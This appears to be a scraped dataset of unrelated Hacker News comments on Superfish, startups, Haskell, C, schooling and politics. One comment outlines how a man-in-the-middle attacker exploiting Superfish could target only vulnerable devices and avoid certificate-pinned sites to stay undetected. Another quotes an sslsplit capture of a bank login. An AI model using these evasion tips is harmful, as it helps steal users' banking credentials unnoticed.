self-sufficiency/&quot;back to the land&quot; living so they have a track record of usability.<p>They&#x27;re a great history lesson, and contain the building blocks that any civilization needs to solve (shelter, heat, food) before it can worry about higher order things (philosophy, politics, smartphone reception).\", NaN, \"I think this approach is underrated and can highly recommend it.<p>If you are an engineer and you keep your living expenses low, you can most likely survive doing consulting/contracting for 1 day per week, leaving you the rest of the week to work on your startup. This minimizes your financial risk and leaves your savings intact, leaving you only with the opportunity costs (but if you are worried about those, you probably shouldn&#x27;t be doing a startup in the first place).<p>Additionally this lowers the pressure to find investors quickly (or at all) and gives you the time to build something great.\", \"I am miffed, actually. I own a Lenovo laptop and it was not cheap. Fortunately it dates back to well before this thing and has a clean OS install anyway, but.<p>They sell laptops. It&#x27;s not a free service, I am the customer not the product. Did Lenovo have a pressing financial need for these extra pennies on the side? Really? How is that benefit vs risk calculation looking now?\", \"A book that explains how to go from a water wheel to a hydroelectric dam that will provide energy for the next industrial revolution.<p>I believe electricity is the greatest discovery of all.\", \"Jeez, make up your mind, science!\", \"It&#x27;s pretty clear you need a way for people to remove their <i>names</i>, then.\", \"Yeah, they seem to like libetard. I&#x27;d never come across libetard before, and I&#x27;m not 100% sure how to pronounce it.<p>Pity, because I feel like I might be one, and I&#x27;d like to know how to correctly brand myself.\", \"Here they are:<p><a href=\\\"https://www.crunchbase.com/organization/superfish/investors\\\" rel=\\\"nofollow\\\">https://www.crunchbase.com/organization/superfish/investors</a><p>I&#x27;d love to see people put money where their mouth is and refuse to be funded by those investors... but I&#x27;m pretty sure it&#x27;s not going to happen.\", \"Data source is SIPRI Arms Transfers Database <a href=\\\"http://www.sipri.org/databases/armstransfers\\\" rel=\\\"nofollow\\\">http://www.sipri.org/databases/armstransfers</a> (the link for the data source is always given below all data visualizations). The latest data available is  for the year 2013.<p>Accoutring to SIPRI exports from Bulgaria in 2013 was US$ 6M, you can check it here <a href=\\\"http://armstrade.sipri.org/armstrade/page/values.php\\\" rel=\\\"nofollow\\\">http://armstrade.sipri.org/armstrade/page/values.php</a>.<p>Please keep in mind that figures are expressed in US$ m. at constant (1990) prices.\", \"It is obvious a lot of attention was put into creating this document. I particularly enjoyed the sections on awk and sed. I have seen many others attempt to explain these tools using many more words and circulate much more ambiguity.<p>Bravo!\", \"Unless you&#x27;re a software developer, don&#x27;t call yourself a &quot;hacker&quot; and don&#x27;t waste your time on Hacker News.\", \"Makes no difference in my experience. Geeksplaining is an unstoppable force of obnoxiousness.\", \"> That&#x27;s my experience with UNIX is that it&#x27;s a constant learning process that goes on for many years.<p>Well, that is to be expected given the fragmentation in the UNIX world.<p>One never knows how the specific UNIX is going to behave, which command line arguments are available besides the common ones and what sort of POSIX undefined behavior exist.\", \"Well they haven&#x27;t made -47s since 1959 so probably 0.\", \"It&#x27;s a shame. It&#x27;s kind of a nice feelgood story, but unfortunately it&#x27;s ruined by also being an ad. I find people trying to advertise to me ruins most things.\", \"Both :D\", \"I use it where the overhead of dealing with possible speed recognition errors is less than the overhead of doing the same thing manually.<p>- Setting a reminder<p>- Setting a timer<p>- Asking what the weather is today<p>Particularly when combined with the plugged in voice activated mode these sort of operations are pretty convenient.\", NaN, \"Well, how about sharing some equity? Oh, I forgot you want to be a billionaire at the expense of early hires.\", \"Indeed. Most of NSA news are only confirming what everyone could reasonaly already assume - i.e. that yes, they can hit you everywhere. Don&#x27;t get me wrong, I love NSA stories, but the Superfish one is rightfully more covered because:<p>- it&#x27;s an immediate and very serious threat to a lot of people (every script kiddie with room-temperature IQ level can use it to clear someone&#x27;s bank account)<p>- it&#x27;s a very clear example of how customers are literally being fucked over by businesses, and how a big and trusted company turned out to be represented by flat-out lying assholes (one rarely gets to see a case without any room for doubt)<p>- it&#x27;s a case that you can (and should) do something about\", \"Sure, the energy argument is probably the least interesting of the ones listed above. Don&#x27;t ignore the rest of them!\", \"Indeed <a href=\\\"https://twitter.com/erik_kwakkel/status/568368792906153985\\\" rel=\\\"nofollow\\\">https://twitter.com/erik_kwakkel/status/568368792906153985</a><p>I was surprised by the vividness..\", \"Yes, unfortunately in London either:<p>1) recruiter effectively steals a percent of your starting salary;<p>2) company is so cheap they cannot afford a recruiter;<p>3) big tech companies are paying extremely low in comparison to the primary sector - finance (and the most interesting stuff will still be developed in USA).\", \"<a href=\\\"http://web.mit.edu/krugman/www/smokey.html\\\" rel=\\\"nofollow\\\">http://web.mit.edu/krugman/www/smokey.html</a>\", \"Filtering reverse proxies e.g. privoxy have an advantage over browser plugins as they work on the network level instead on the DOM. This means that it work as an universal adblock regardless of what OS or browser you are running. It&#x27;s especially useful when you are on mobile safari or chrome as they don&#x27;t support adblocks.\", \"I&#x27;ve greatly enjoyed using jOOQ [0] for this purpose in the past. Incredible powerful and easy to use. All without the stuff that hibernate pulls in...<p>[0] <a href=\\\"http://www.jooq.org/\\\" rel=\\\"nofollow\\\">http://www.jooq.org/</a>\", \"I guess bronze age collapse, and the fall of Rome\", \"I don&#x27;t know about &#x27;unfair&#x27;, but it is most definitely not a direct democracy.\", \"I can love both family, friends, coworkers, and research. It&#x27;s a slow process of the accumulation of a lifestyle. It doesn&#x27;t happen over night, and I can&#x27;t force it. That&#x27;s the biggest thing I&#x27;ve learned since leaving college.\", \"He&#x27;s saying it hypothetically:present time of 1 time, after proposed catastrophe and civilization collapse, this is second time. Antifragile is intended to prevent breakdown of the second build up. So that a third rebuild is not necessary.\", NaN, NaN, \"Hi Natalia. Where did you get the data? Bulgaria&#x27;s export shows 6m, but a quick google search shows 300m euros for 2014, up from 260 in 2011.\", \"Includes don&#x27;t control linking, and traditional C did not require function prototypes, so most compilers (in non-C++ mode at least) will happily compile calls to unknown functions, it just assumes a default signature.\", \"Direct brain interface requires invasive surgery and is still a ways to go. Its constant need for recalibration basically precludes it from any useful utilization, much less commercialization of it on a massive scale.<p>Even if the AI part is mature, I do not think speaking at length (in a public setting) telling your computer what to do is desirable.<p>I think our best bet is a device that reads neural signals going to our voice box. We can &quot;speak&quot; without vocalization and still have the device pick up our words. I think they call it EEG sensing of imagined speech.\", \">  communication is knowledge creation, even if it simply conveys an idea from one brain to another, because there&#x27;s no direct transfer mechanism the receiver of the idea must create it based on observations of the words of the giver.<p>I feel like science and mathematics (and even computer science) attempts to counter this.<p>If we can mechanically generate mathematical proofs, and those proofs can be proven equivalent to one another, then we have essentially simplified the abstraction mechanics of the individual brain and transferred them to a computer.<p>I view abstraction as a means for expanding all potential permutations of a given model and it&#x27;s application, and then a reduction to a different set of terms that connects models.<p>We might be able to prove that we can agree with one another, but we might not be able to prove that we agree with our own selves. We can always make the problem more difficult individually by guessing and creating more questions.<p>To me the process is two sides of the same coin. One side is creation, the other side is destruction. You can&#x27;t convey an idea without having an idea, and you can&#x27;t question that idea without having another idea. Negation is still a logical mechanism. You can question whether there is more to think about than a choice between [(exist) or (does not exist)].<p>I really prefer to think about possibility and potential. It&#x27;s an open space to me.\", \"No, not really.\", \"Read this article: <a href=\\\"http://www.righto.com/2013/11/how-hacker-news-ranking-really-works.html\\\" rel=\\\"nofollow\\\">http://www.righto.com/2013/11/how-hacker-news-ranking-really...</a>\", \"Paul Graig Roberts exlains what is going to happen to Lithuania who joined the Euro:\\\\n<a href=\\\"http://www.paulcraigroberts.org/2015/02/10/lithuania-media-interview-pcr/\\\" rel=\\\"nofollow\\\">http://www.paulcraigroberts.org/2015/02/10/lithuania-media-i...</a><p>&quot;...by accepting the euro, your government accepted a loss of sovereignty. You cannot be a sovereign state if you don\\u2019t have your own money. If you don\\u2019t have your own money, you can\\u2019t finance your own government. So this is all the trouble that we see in Greece, in Spain, Portugal, Ireland, Italy. These are governments that are not sovereign, because they don\\u2019t have their own money and therefore they cannot finance themselves, they have to rely on foreign private banks to finance them and their creditors are more powerful than the governments and so when the countries have difficulty paying, the creditors may impose austerity on them and loot the countries; Greece is being looted. How do you loot a country? You tell them their pensions have to be cut, their employment has to be cut, social services have to be cut, so that there\\u2019s money to pay the banks....&quot;\", \"It looks like I&#x27;m not alone in hating Hibernate.\", \"It costs 80 million dollars to buy all the hardware to mine a single block. It will probably costs 800 million dollars to amass enough computing power to mine 10 blocks. It only makes sense to double spend a transaction with a <i></i>VERY<i></i> large amount. No transaction going through stripe will qualify.\", \"It seems like a well written tutorial, not to worded, not to terse, and should be a good introduction, that gives a broad overview of Unix. -And not Unix on OsX, which saddens me, all the time the author has made it on a Mac. C&#x27;mon, just a short piece on the open command, please\\u2026. :)\", NaN, \"Prem Watsa of Fairfax Financial lost money for a few years betting against the markets, until the markets tanked in 2008 and he finally made a boatload on selling short.  Unfortunately for him, he then turned around and invested his winnings in Blackberry. :)\", \"What makes you think that it would take less sophisticated AI to parse the signals from your brain directly than it takes for it to parse natural language?\", NaN, \"It would be interesting if there is a way to detect Silverfish (e.g. by recognizing some specific HTTP requests being made). Because that would allow the MitM to only run a MitM on devices that you know are vulnerable and thus decrease the changes of discovery immensely.<p>If you combine that with configuring your proxy not to MitM any of the sites that browsers have certificate-pinning for (e.g. Google sites with Chrome) you can probably have this running for a very long time without anybody noticing.\", \"progman posted some useful monad links, and I should know better than to write Yet Another Monad Explanation in a comment. But since you&#x27;re coming from a C++ background, I can maybe fine-tune this to you personally. If it doesn&#x27;t make sense, look somewhere else. :-)<p>First: There are actually two questions hiding here: (1) why are monads interesting in general, and (2) why does Haskell use monads to represent side effects? I&#x27;m going to mostly focus on (1) first, because that helped me more. Other people may strongly prefer starting from (2). My explanation will work best for people who like to make a <i>model</i>; explanations that start with (2) will work best for people who like to start with practical examples.<p>First, let&#x27;s start with a C++ template:<p><pre><code>    template <typename T> List { ... }\\\\n</code></pre>\\\\nHere, we have a list which can contain values of type T. So List<string> is a list of strings, and List<int> is a list of integers. Now, any Lisp or Ruby hacker would tell you that lists are better with a &#x27;map&#x27; function. &#x27;map&#x27; is a function which takes a list and a <i>transformation</i> function, and builds a new list by applying the transformation to every element of the old list. This way, if you have a list of strings, and a function &#x27;convert_string_to_integer&#x27;, you can write:<p><pre><code>    List<int> new_list = list_of_strings.map(convert_string_to_integer);\\\\n</code></pre>\\\\n...and you&#x27;ve got a list of converted integers. If you understand this, you&#x27;re over half of the way to monads!<p>To get a monad, we need to add two more things. First, we need a way to create a new list out of a single element:<p><pre><code>    List<int> new_list = List::from_element(3); // Creates the list { 3 }\\\\n</code></pre>\\\\nAnd then we need the interesting bit. Imagine that we have a list of lists of integers, of type List<List<int>>:<p><pre><code>    { { 1, 2, 3 }, {}, { 4 }, { 5, 6 } }\\\\n</code></pre>\\\\nWe want to flatten this into a single List<int> by smooshing all the lists together:<p><pre><code>    { 1, 2, 3, 4, 5, 6 }\\\\n</code></pre>\\\\nThis function might be called &#x27;join&#x27; or &#x27;flatten&#x27; or (in Haskell), you might combine &#x27;map&#x27; and &#x27;join&#x27; into a &quot;map a function then join the result&quot; function called &#x27;bind&#x27;.<p>A <i>monad</i> is basically any templated type that supports &#x27;map&#x27; and &#x27;from_elem&#x27; and &#x27;flatten&#x27;. (There are a few common sense restrictions about how these functions related to each other, too.)<p>Lots and <i>lots</i> of interesting types either fit this model well, or can be smooshed into fitting. This model covers Python&#x27;s list comprehensions, and JavaScript&#x27;s promises, and Rust&#x27;s Option type, and 90+% of collection types, and many much weirder and cooler things.<p>...and this brings us to I/O and Haskell. And here&#x27;s where my explanation won&#x27;t go far enough, but it might &quot;click&quot; for you latter on. In Haskell, conceptually speaking, you don&#x27;t really perform I/O. Instead, you construct instances of &quot;IO a&quot;, which is equivalent to the hypothetical C++:<p><pre><code>    template <typename T> IoAction { ... }\\\\n</code></pre>\\\\n...where <i>IoAction</i> does some I/O and returns a value of type T. Then once you&#x27;ve described an I/O action, you ask Haskell to perform it. The type I/O action supports all our monad functions: If you have an IoAction<string>, it&#x27;s easy to turn it into an IoAction<int> by running the original I/O action and applying a function to the output. Similarly, you can define IoAction::from_elem to (1) do no actual I/O, and (2) just return the elem you gave it. And if somebody gives you an IoAction<IoAction<string>> (an IoAction that returns another IoAction), you can &quot;flatten&quot; it by running the outer IoAction, taking the IoAction it returns, and running that.<p>So if you have an action &#x27;chooseFileName&#x27; of type IoAction<string> and function &#x27;readFile&#x27;  which takes a string as an argument and returns an IoAction<string> that reads in the specified file, you could write:<p><pre><code>    chooseFileName.map(readFile)\\\\n</code></pre>\\\\n...and get an IoAction<IoAction<string>>, and if you flatten it:<p><pre><code>    chooseFileName.map(readFile).flatten()\\\\n</code></pre>\\\\n...you get a new IoAction<string> that prompts for a filename and reads a file. Or you could write:<p><pre><code>    IoAction::from_elem(&quot;my_file.txt&quot;).map(readFile).flatten()\\\\n</code></pre>\\\\n...and get an IoAction<string> that returns whatever is in &quot;my_file.txt&quot;. And this is how Haskell I/O works. But you&#x27;ll probably have to play with it for a while until all the pieces fit together; Haskell is mathy that way.\", \"You realize that anything the real BofA site adds to increase security can be removed by the proxy? Once your CA trust-store is compromised there really is no way to do anything secure without asking the user to use another channel to verify things.\", \"At least they didn&#x27;t call anyone a libetard or a dipshit in this post.\", \"IMO they should write their own decoders. Current C/C++ implementations of media codecs are notoriously buggy.\", NaN, NaN, NaN, \"My name is publically available information but is protected in the UK against being misused.<p>Your company is going to have problems with EU privacy laws.\", \"Debugging with printfs, using grep... Good old-school stuff.\", \"Wish I were so advanced, I play around mostly with electric fans from the 10s and 20s (19xx). My favorite is an Emerson six bladed wonder I found off ebay; a great source of restored and those needing restoration. Daily searches of ebay nets me parts and fans merely needing cleaning though I have one in the garage that makes me want to scream at times.\", \"There is so much hyprocrisy in this article as well as in the comments who try to analyze the situation. Just by searching \\\\nGoogle, you could find that labor costs in most Northern countries is much higher than in South:<p>Hourly Wages in Europe\\\\n<a href=\\\"http://ec.europa.eu/eurostat/statistics-explained/index.php/File:Hourly_labour_costs,_2013_%281%29_%28EUR%29_YB14_II.png\\\" rel=\\\"nofollow\\\">http://ec.europa.eu/eurostat/statistics-explained/index.php/...</a><p>Euro, was created as a means to loot other countries of their resources and their sovereignty. Period.\", \"I am reading this book &#x27;The Dollar Trap: How the US dollar tightened its grip on global finance&#x27; [1], where economist Eswar Prasad explains how money flows into the US from around the world even when troubles originate in U.S financial markets.<p>[1] <a href=\\\"http://thedollartrap.com/\\\" rel=\\\"nofollow\\\">http://thedollartrap.com/</a>\", \"civil engineering books would be my bet and basic medicine like first aid\", NaN, \"Hi my name is Natalia, and I&#x27;m the creator of this visualization. I want to thank the person who posted it here, and everyone for the discussion. I&#x27;d love to hear topics/ideas you are interested in for the future visualizations.\", \"Financial services should employ a second JS-based PKI layer. BofA has no excuse.<p>&quot;... log into the BofA website using the AccountID of &quot;barry123457&quot;. While this transaction went over SSL, you can see clearly that sslsplit was able to intercept it. AS you can see, in the middle of the post information is the string &quot;barry123457&quot;.\", \"So unless you&#x27;re a software developer don&#x27;t use software?\", \"> I do not exactly have a strong math background<p>I&#x27;ve certainly learned more Maths as a result of learning Haskell, but I don&#x27;t think the amount of Maths is vastly more than other languagues; or rather, other languages <i>hide</i> the Maths, either on purpose or by accident.<p>For example, Haskell uses terms like &quot;Monad&quot;, &quot;Monoid&quot;, &quot;Functor&quot;, etc. which <i>are</i> Mathematical ideas, but as far as the language is concerned they&#x27;re just interfaces (APIs). OO APIs can get just as gnarly, so if someone&#x27;s comfortable with design patterns like inversion-of-control containers, dependency-injection mocking frameworks, factory factories, etc. then functional programming ideas are &quot;different&quot; but not necessarily &quot;harder&quot;. Like all fields, there&#x27;s a progression of ideas from simplistic, to powerful, to brain-bending, which everyone can scale at their own pace.<p>> ...the real problem for me seems to be monads. Without having /some/ kind of side effects, you cannot write an even remotely useful program, and I never really got them.<p>Whilst that&#x27;s technically true, all it takes is <i>one</i> side-effect to have a useful program. It&#x27;s perfectly acceptable to ignore monads and side-effects in all of your code, then write a simple &quot;main&quot; definition which plugs them together. In fact, that&#x27;s the <i>encouraged</i> way of programming in Haskell! If you&#x27;re playing around in a commandline, like GHCi, then you don&#x27;t even need a &quot;main&quot; function at all.<p>If you&#x27;re really struggling, you can often copy/paste a &quot;main&quot; which works for you. A trivial one is &quot;print foo&quot;, but even in more realistic examples it&#x27;s possible. To read and write over stdio, you can write the whole thing with pure functions, treat your argument as stdin and your return value as stdout, then do:<p><pre><code>    main = interact myFunction\\\\n</code></pre>\\\\nThe only time monads are actually <i>required</i> is when you need to choose between different side-effects, depending on the result of a previous side-effect. For example, if you write to a file, and the filename depends on the contents of another file:<p><pre><code>    main = do name <- readFile &quot;I_CONTAIN_THE_NAME&quot;\\\\n              writeFile name myString\\\\n</code></pre>\\\\nWhen side-effects don&#x27;t depend on each other, you can use simpler alternatives to Monad, eg. Applicative:<p><pre><code>    main = writeFile &quot;file1&quot; string1 >> writeFile &quot;file2&quot; string2 >> writeFile &quot;file3&quot; string3\\\\n</code></pre>\\\\nFunctor:<p><pre><code>    main = fmap (const ()) (system &quot;rm file1&quot;)\\\\n</code></pre>\\\\nOr, when you only need one side-effect, you don&#x27;t need any of those interfaces at all:<p><pre><code>    main = print &quot;Hello world&quot;\\\\n</code></pre>\\\\n> I have a feeling that an idiomatic Haskell program would make far heavier use of the type system to model your problem than even extreme examples of object-oriented design<p>The way I see it, if you&#x27;re learning Haskell and you&#x27;re tempted to throw an exception, you&#x27;re probably using the wrong type. Exceptions can be useful, and there are advanced Haskell users who make regular use of them, but nowhere near the extent that they&#x27;re used outside Haskell. Many &quot;exceptional circumstances&quot; simply never arise if you use stronger types.\", \"Using Instagram/Kik in a similar fashion is quite popular among glassblowers in the US. People post their wares on IG and say &#x27;kik me for prices&#x27;.\", NaN, \"Pretty impressive. May I ask how big is the team?\", \"I can code in Perl, Ruby, C, C++, Assembly language, and more.  Learning new languages is pretty simple if they&#x27;re in a family I know.<p>I read/write/speak English well.  Learning Finnish?  Painful.  Slow.  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Both Zen and Analysis fascinate me.  But I could have done with more information on the process, and less on the person undergoing it.<p>But possibly it's all so personal that you can't get more than that.\", \"Singapore also have an excelent system to minimize drug use.\", \"People left the cities because of the rise in crime.  Crime can always be prevented by a reasonably effective government.  Read this book to get a sense of what happened in Brooklyn: <a href=\\\"http://www.amazon.com/Canarsie-Italians-Brooklyn-Against-Liberalism/dp/0674093615\\\" rel=\\\"nofollow\\\">http://www.amazon.com/Canarsie-Italians-Brooklyn-Against-Lib...</a>  The same story was repeating itself across the country.\", \"I finally engineered this for myself at age 14 or 15. I discovered that I could get into <i>both</i> the advanced courses and a dropout prevention program that let me out of school at noon to go work a job doing programming and animation.\", \"Cute.<p>So suppose I want to know who my visitors are, but I do not want to resort to underhanded tactis like this. Any ideas on how to get to know my customers yet respect their privacy?\", \"C isn't hard, don't worry! It's actually a fairly simple language. But it's medium/low-level and there is a lot of power within its simplicity. Fast to learn, but a long time to master, as one might say.<p>I don't know what people are using to learn C these days, but the standard has always been the white book <a href=\\\"http://www.amazon.com/Programming-Language-Prentice-Hall-Software/dp/0131103628\\\" rel=\\\"nofollow\\\">http://www.amazon.com/Programming-Language-Prentice-Hall-Sof...</a><p>You will find yourself spending more time thinking about programming concepts rather than dealing with C syntax, since it's pretty concise. I don't know how difficult it is to learn about pointers if you have already been programming for a while but haven't had to use references directly, but it's very important to learn. C does not do too much for you on its own, so handling references yourself is an important skill. It will also help you understand how higher level languages and concepts work.<p>If you are working through it and find that you're enjoying yourself, congratulations, you're a programmer :] Then it's time to pick up the 1st volume of Knuth and start working through that.\", \"The Cairo-powered <a href=\\\"http://www.aeracode.org/projects/graphication/\\\" rel=\\\"nofollow\\\">http://www.aeracode.org/projects/graphication/</a> is well worth a look - unfortunately the only documentation is examples at the moment.\", \"NPR may be \\\"thriving\\\" in terms of audience size, but just a few months ago they canceled a show and announced layoffs due to a lack of funds.\", \"Sure!  Knowing C can definitely help with your overall understanding of how things work.  It's especially helpful when learning new languages.<p>I uploaded a copy of K&R ANSI C for you.  In my opinion, it's probably the best way to learn it.<p><a href=\\\"http://whitepaperclip.com/files/ansi_c.pdf\\\" rel=\\\"nofollow\\\">http://whitepaperclip.com/files/ansi_c.pdf</a><p>Have fun!\", \"I believe the plurality of money comes from pledge drives, not the government. But point taken.\", \"K&R\\\\n<a href=\\\"http://en.wikipedia.org/wiki/The_C_Programming_Language_(book)\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/The_C_Programming_Language_(boo...</a>\", NaN, \"A reasonable point. Then again, drug use is arguably the primordial hack to your own wetware, and drug policy indirectly says something about how the state approaches individual cases it might not understand - consider the history of PGP, or whether Linux would have been developed in the US. So I vote for relevant, although only very peripherally.\", \"Because it fit his hypothesis better?\", \"Also, they're not afraid of getting replaced in a shareholders' revolt.\", NaN, \"Nothing amazing, but I'm sure a very useful script as sometimes if you need to add multiple domains vhosts would be a pain without some automation.\", \"> <i>I wouldn't want my pacemaker running a garbage-collected language and yet most web apps are written with GC.</i><p>I'd prefer GC over memory leaks...\", NaN, \"Three books have really helped me:<p>1) Getting Things Done by David Allen gives you a system that works for keeping track of things and choosing what to work on when.<p>2) The Now Habit by Neil Fiore teaches you how to get rid of some stupid things we do and think that keeps us procrastinating.<p>3) Tribes by Seth Godin inspires you to go out and do great deeds, big and small.\", \"If I encountered code like this on the job, I'd feel obligated to let someone higher up know about it. I know this isn't a very constructive comment, but I don't really have much else to say :)\", \"Can't imagine how I could confuse those names. :)<p>More to the point:<p>\\\"This presentation and the reaction afterward is being taken as INDICATIVE of a problem that is neither recognized nor addressed.\\\"<p>I don't see a single presentation out of whatever total number of Ruby talks  as coming even close to being indicative of a problem.<p>Nine years of Ruby conferences.  One comes along that demonstrates notable poor taste.  That's a good record.\", \"The author seems to fundamentally misunderstand the point of a phone screen, you don't ask trivial questions to see how good the engineer is, but to filter out the really bad engineers.<p>If someone doesn't know what a hashtable or a pointer is then there's no point in wasting their time or yours in bringing them in for an in-house interview. Many companies reject as many as 70-90% of candidates at phone interviews due to candidates lacking basic skills.\", \"Indeed, the first thing I thought after reading the article was 'Google has HR do their phone screens?  Really?'- apparently not.\", \"Yeah, I hated school too.  It's not ever going to change because it's <i>for the masses</i>.  That's its <i>sole and express purpose</i>.  Why is anyone trying to redesign the system or otherwise shoehorn exceptional people into a system designed for the masses?  Either drop out or shut up, in my opinion.  Massive social structures don't have time for unique butterflies.  That's the Reality of the situation with a capital R.<p>The optimum solution is to just get it done at an 75-90% level until you graduate HS or college and get on with your god damn life instead of fighting it for years and years and years and pulling yourself and others down in the process.  Just give them the bare minimum of what they want while pursuing your own interests.  It's politics 101.<p>This is why many, many successful people say \\\"I dropped out\\\", or \\\"Oh, I was only a B and C student\\\" instead of \\\"I spent every waking moment of my life trying to rebel against the system in which I had no place in, attempting to reforming it form the inside to suit my specific needs to a tee.\\\"\", \"Throughout my career, I've viewed C as the sleeping monster that mere mortals such as myself dare not waken. However, as I increasingly seek to achieve more complex goals in my projects, I find myself encountering C libraries (such as GMime) which will answer all my questions, if I could actually program in C. I have a copy of C Primer Plus Fifth Edition at hand, a development FreeBSD server as well as my Mac, but would like to ask of this community if they are aware of any other references, such as old CS course materials, which may help. Many thanks in advance. I realise that this is a long term goal, but feel that with my taste in server platform and operations software, C will prove a boon to me.\", \">It's not that bad. I'm in 10th grade right now, and here's the way I see it: I spend a few hours in school every day, where most of the time is wasted,<p>Your standards for \\\"not that bad\\\" are low.  Wasting half your day sucks.  Why not just take the GED and go to college?  If your state (presuming you are in the US) is anything like Ohio, you can go to a local college on the public school's dime and get both HS and college credit.  No GED required.<p>I wasted so much time in school.  When most people make this statement, it's blatant anti-intellectualism.  For me, it's a testament to the inefficiency of public education in the US.\", \"Back in the day, CompuServe, Delphi etc. used to charge for connections by the mnute (not to mention for emails). Major phone companies like Verizon etc. still segment customers dependent on whether they're calling inside or outside the network (as if I care what carrier someone else sues, or are going to ask them to switch for my benefit!).I hope this model is doomed.<p>I'm glad the current administration is committed to a broadband plan for the US, although I'm worried that the FCC has set it sights far too low. Personally, I'm OK with some taxes going towards this; Broadband is nowadays as important  as a well-functioning road system. It seems to me that the poorer or less economically developed parts of the US would derive big long-term economic benefits.<p><a href=\\\"http://www.fcc.gov/broadband\\\" rel=\\\"nofollow\\\">http://www.fcc.gov/broadband</a> is the central FCC page for the electronic superhighway and related policies. Though very dull looking, there's a lot of substance at the links on the left.\", NaN, \"The whole idea of unschooling is a little too utopian for me. Teaching is a skilled craft. A good teacher will work a classroom to keep all manner of kids involved and engaged. We've all had teachers like that. I had a 7th grade social studies teacher who was fantastic and an accounting professor in college who made accounting exciting. Accounting!<p>The problem in this country is well known. We have too many poorly trained and poorly paid teachers. And unfortunately with No Child Left Behind, we've stiffled the good teachers as well.<p>You can't just remove the teacher. Even the author's experience of independent study still relies on teachers to create the curriculum, produce learning materials and monitor progress through tests. That's a far cry to \\\"go learn on your own.\\\"\", \"History and the implications of network neutrality (covers AT&T and Verizon in depth): <a href=\\\"http://jtame05.wordpress.com/2008/10/21/network-neutrality-word97/\\\" rel=\\\"nofollow\\\">http://jtame05.wordpress.com/2008/10/21/network-neutrality-w...</a>\", \"I'd imagine the government subsidies and not needing to pay for their chunk of the FM spectrum probably have a lot to do with it, too.\", \"The thing is, usually when you want the stack frames, /they are there/. They're present because they form part of the continuation of the computation.<p>Tail calls, because they don't form part of the continuation, are usually not interesting at all in stack traces.<p>To put it another way: a python backtrace doesn't include statements that were already executed. \\\"Of course it doesn't, they're already executed!\\\", you say -- well so have the tail calls! They are exactly equivalent (google for CPS transformation).\", \"I'm guessing you're excluding Quebec? I can consistently download at 800k/sec (if the server will push the bits this fast) with Videotron. Is that really considered impossibly slow nowadays?! I don't even know what I'd do with more bandwidth, though now that I have a server the 100k/sec upload limit is a bit more of an irritation.\", \"When clicking on \\\"private\\\" and then canceling out of the box that pops up, \\\"log in\\\" changes to \\\"og in.\\\" A minor issue, but an issue none-the-less.\", \"In Sweden we have something called Sidewalk Express where you can sit down at a computer and browse the web for \\u20ac1 per hour. If you want to use the WLAN in the same location (from some other company), you'll have to pay ~\\u20ac5 per hour - and then the computer isn't included. Weird.\", \"<a href=\\\"http://en.wikipedia.org/wiki/Lunar_Escape_Systems\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Lunar_Escape_Systems</a>\", \"The \\\"Lambda: The Ultimate GOTO\\\" paper shows a still-timely example of when you might want to express a state machine as mutually recursive functions. Granted, they compare to the actual GOTO, but you can't make state machines of any manageable size with iteration, either.\", \"Link to the Cato Institute, where you can download the report they sponsored: <a href=\\\"http://cato.org/pub_display.php?pub_id=10080\\\" rel=\\\"nofollow\\\">http://cato.org/pub_display.php?pub_id=10080</a>\", \"Anyone running an accelerator will certainly have people around that understand how to set up a corporation.<p>The programming equivalent would be trying to fight off competition by not showing them your ~/.emacs.\", \"Exactly. He starts with saying that Sergey Brin wouldn't pass Google's phone screening, but (at least when I interviewed with them for an internship) Google phone screens with engineers. The conversation was good, the problems were an interesting/fun challenge, and it would certainly have been effective in deciding whether I was cut out for the position.<p>I think that the argument should be rewritten to say that the only people that should be judging competence are the ones that work in the field. An HR person shouldn't be trying to decide whether an applicant has passed a screening. They should get an engineer to talk to them instead and decide.\", \"I thought this news was important enough to break the submitting rules about non hacker related subjects\", \"One of the things I did with my kids was to push them to take courses at the local community colleges while they were still in high school.  They got better quality instruction, more advanced topics, and college level credit.  My son had credit for all but two math classes in EECS at UC Berkeley.  My daughter was able to graduate in four years at UCLA, rather than drag on to 5 years because of schedule conflicts and oversubscribed classes.\", \"Python has a pretty distinctive programming style (what's considered \\\"pythonic\\\"), and code that makes idiomatic use of tail calls tends to be structured quite differently. While it may have been a good addition early in Python's history, retrofitting it now would make the language more complicated and messy, and avoiding having a dozen ways to do the same thing (as in Perl) has been a goal from the start. Python's design seems to argue that any incremental improvements gained by using one coding style over another will be lost due to dealing with several different coding styles. (Particularly when somebody is actually trying to write Scheme, Haskell, etc. in Python.)<p>Questions about whether it'd be better if Python supported tail-call elimination, type inference, macros, etc. need to consider not just the theoretical power advantage, but the extent they would tend to fragment the existing community, make existing code harder to use/maintain, etc.<p>FWIW, Lua (<a href=\\\"http://lua.org\\\" rel=\\\"nofollow\\\">http://lua.org</a>) is stylistically quite similar to Python, and has an equally strong focus on keeping things simple, but approaches it differently. Its designers kept the core language extremely small, yet easily extensible in Lua or C. It's very interesting to compare and contrast its design with Python's. (It's also a great language in its own right, and it has TCO.)\", \"The English speaking world includes parts of Asia, including Singapore and Hong Kong.  It also includes parts of Central and South America and Africa, and large parts of India and parts of the Middle East.<p>The sun never sets on the British Empire, remember all that crap they used to say before it set on them for good?<p>Sigh.\", \"Yes, why did he choose 1996?  2004 is the more obvious choice.\", \"I used to do a bit of work at cable access in Austin in the 90's.  Alex was around quite a bit and always interested in talking about conspiracy theories, the new world order, etc.  He just radiated mania and paranoia.  His online/on-air personality is really not a act -- he was dead serious about everything he said.\", \"Interesting point, but I think this post is attacking a certain kind of phone screening, rather than all phone screening.<p>If you get a (people-friendly) geek to do the phone screening instead, with a single question: \\\"would you like to have a further 30 minute chat with this person?\\\", I would hope you get better results.<p>I'll agree that getting HR to do your phone screening for technical people is pretty disastrous though.\", \"How about \\\"People who generically object to statistics KNOW their own position can't be rationally supported.\\\"\", \"I'll try that, thanks.\", NaN, \"I don't necessarily want to start a flame war, but it is inaccurate to say \\\"God said so in that holy book.\\\" People have added up the number of years that are mentioned in the Bible and claimed that the earth is only that old. A decent amount of Genesis can be looked at not as literal history, but a summary. This is done even by some very conservative scholars who believe that God is the creator and also believe that the earth really is as old as science says it is.\", \">He felt the sores on his body dry up and start to slough off. He was hungry enough that he actually caught himself peeling off the scabby cornflakes and eating them. It grossed him out, but he was hungry.<p>:)\", \"This is misleading, they lost 1,600 full-time (or equivalent) workers. This could mean a lot of their part-time workers getting extra hours could no longer get extra hours, it doesn't mean they 'axed' 1,600 full-time 